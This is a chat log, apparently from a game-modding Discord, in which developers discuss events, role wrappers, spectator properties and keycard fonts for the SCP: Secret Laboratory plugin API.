#

Pretty sure these exists

tired pecan
#

Totally not asking for this because I wanna re-create scp music smh

tired pecan
unique crane
tired pecan
#

I mean't all SCPs

#

Not just 096 and 173

hearty shard
#

you can check 1853

unique crane
#

Ehhh not sure why

#

You can do that yourself using Scp096TargetsTracker:IsObservedBy(ReferenceHub target)

#

(by taking code from there)

restive turret
#

ye you have to check every frame

#

Time to create Scp Role wrappers ClassDTroll

hearty shard
#

it sucks

#

💔

restive turret
#

Make one

#

Push your beautiful code on labapi

spring swan
#

So are we getting more info on lab api next week?

restive turret
#

Wdym

spring swan
#

For funni public beta

restive turret
#

??

#

Where did you get that info

spring swan
brazen dune
unique crane
brazen dune
#

oh sorry looking at old api

restive turret
#

Oh btw

#

Can we make the surface button closable?

still notch
#

Do someone know the default font size and the font of new keycards in 14.1, please ?

still notch
#

"OnWalking" ?

#

"OnJumping"

unique crane
still notch
unique crane
#

Rest could be added buuuut not sure about the walking one..

#

Like

still notch
#

lets gooo i can stop harmonying

unique crane
#

20 events fired every tick..

#

Eeeeh

still notch
unique crane
#

Wdym

still notch
#

if you set ev.IsAllowed = false for scp096

unique crane
#

But thats your fault

#

Same for escaping event

#

Actually

#

Voice events do get fired every time you speak sooo

#

What would you use the walk event for?

still notch
#

maybe do something like exiled, activate events only if they been used

still notch
unique crane
#

Hmmmm

#

How about player movement state changing?

#

You can play the animation until it changes back to standing still

still notch
#

and i don't have to save the state

#

yes ofc ! thanks 😄

unique crane
#

Oki

still notch
# unique crane Oki

btw do you know the default font size and the font of new keycards in 14.1, please ?

unique crane
#

I can check

hearty shard
#

hi david

unique crane
#

Haiiii

hearty shard
#

do you dabble in dark arts

unique crane
#

what

hearty shard
#

do you?

unique crane
ashen kayak
# unique crane Any suggestions

Maybe some scp 3114 and 1344 events?
For 3114 f.e. entering and exiting disguise, strangling.
For 1344 f.e. activating, deactivating, player detecting.

unique crane
#

Good catch

brazen dune
worthy rune
hearty shard
icy knoll
#

SpectatorRole::Spectating - Gets the person the spectator is currently spectating, if any.

unique crane
#

That one is in Player itself

#

Both spectating and Spectators

icy knoll
#

hm

worthy rune
#

true, although ill add it anyway

restive turret
#

Check the beta again

carmine prawn
worthy rune
#

huh?

carmine prawn
#

for example, the action state of scp939

#

standard, crouching, etc

tulip kiln
# unique crane Good catch

Not event related, but 3114's info area is not changeable when disguised. Would it be possible to allow 3114's info area to be modified?

hearty shard
#

also

#

PlayerChangedSpectatorEventArgs should be IPlayerEvent

unique crane
#

Will do

hearty shard
#

YIPPIE

hearty shard
unique crane
#

?

hearty shard
tulip kiln
hearty shard
#

xd